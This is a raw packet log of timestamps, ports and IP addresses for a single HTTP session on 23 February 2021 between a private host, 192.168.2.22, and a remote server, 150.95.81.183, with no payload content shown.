Feb 23, 2021 16:53:56.147875071 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.147958040 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148014069 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148071051 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148129940 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148169994 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148197889 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148214102 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148220062 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148262024 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148282051 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148319006 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148327112 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148379087 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148400068 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148438931 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148448944 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148497105 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148504019 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148552895 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148561954 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148608923 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148642063 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148684978 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148693085 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148744106 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148761988 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148801088 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148808956 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148858070 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148875952 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148900986 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.148914099 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148971081 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.148981094 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.149025917 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.149038076 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.149085045 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.149149895 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.149171114 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.149188995 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.149204969 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.149209976 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.149267912 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.149303913 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.149338007 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.151680946 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160106897 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160142899 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160167933 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160187960 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160216093 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160243034 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160267115 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160291910 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160305977 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160316944 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160334110 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160342932 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160362005 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160367966 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160393953 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160420895 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160422087 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160449028 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160465956 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160471916 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160499096 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160510063 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160525084 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160545111 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160548925 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160573959 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160588026 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160598040 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160624027 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160625935 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160654068 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160667896 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160676956 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160702944 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160706043 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160727978 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160736084 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160752058 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160768986 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160775900 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160800934 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160815001 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160828114 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160847902 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160855055 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.160890102 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.160924911 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.161726952 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.163605928 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.406744957 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.406791925 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.406831026 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.406866074 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.406903982 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.406939983 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.406979084 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407006979 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407021999 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407047033 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407052994 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407058001 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407069921 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407105923 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407144070 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407154083 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407164097 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407181978 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407217026 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407250881 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407257080 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407286882 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407294035 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407294989 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407300949 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407330036 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407346010 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407366037 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407373905 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407403946 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407418013 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407439947 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407455921 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407478094 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407494068 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407514095 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407533884 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407555103 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407558918 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407594919 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407607079 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407633066 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407651901 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407670021 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407677889 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407706976 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407717943 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407742023 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407754898 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407778978 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407792091 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407818079 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407826900 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407857895 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407867908 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407897949 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407912970 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407932997 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407946110 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.407969952 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.407990932 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.408009052 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.408025026 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.408063889 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.408963919 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.420556068 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420635939 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420717001 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420743942 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.420770884 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420798063 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.420826912 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420849085 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.420895100 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420900106 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.420957088 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.420974970 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421004057 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421015024 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421032906 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421071053 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421072006 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421128035 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421144962 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421180964 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421197891 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421237946 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421241045 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421295881 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421304941 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421359062 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421360016 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421458960 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421463966 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421526909 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421545982 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421582937 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421587944 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421642065 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421643019 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421698093 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421704054 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421758890 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421761036 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421821117 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421822071 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421875954 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421885014 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421932936 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421935081 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.421987057 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.421999931 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422041893 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422050953 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422100067 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422103882 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422158957 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422158957 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422219992 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422225952 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422285080 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422287941 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422346115 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422350883 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422404051 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.422408104 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.422472000 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.423427105 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.662796974 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.662867069 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.662928104 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.662987947 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663053989 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663100004 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663119078 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663137913 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663158894 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663166046 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663172960 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663182020 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663233042 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663243055 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663258076 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663273096 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663300037 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663311958 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663326979 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663351059 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663352013 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663399935 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663431883 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663444042 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663450003 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663484097 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663561106 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663570881 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663573027 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663630962 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663641930 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663693905 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663743973 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663769007 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663796902 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663810015 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663850069 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663860083 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663899899 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663916111 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.663949966 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.663965940 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664005995 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664009094 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664067030 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664073944 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664124966 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664132118 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664177895 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664186001 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664227962 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664237976 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664278984 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664284945 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664331913 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664336920 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664383888 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.664392948 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664444923 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.664680004 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.677666903 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.677751064 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.677808046 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.677841902 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.677858114 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.677865982 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.677870989 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.677910089 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.677912951 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.677961111 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.677969933 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678009987 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678015947 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678061008 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678062916 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678109884 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678116083 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678169012 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678170919 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678229094 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678236961 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678278923 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678284883 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678333044 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678333044 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678388119 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678390026 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678436041 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678441048 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678494930 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678503990 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678553104 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678555012 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678611994 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678612947 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678669930 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678673029 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678725004 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678730011 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678775072 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678777933 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678826094 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678833008 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678874016 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678883076 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678924084 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678926945 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.678972960 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.678977966 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.679024935 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.679028034 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.679081917 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.679083109 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.679128885 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.679137945 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.679178953 CET	80	49165	150.95.81.183	192.168.2.22
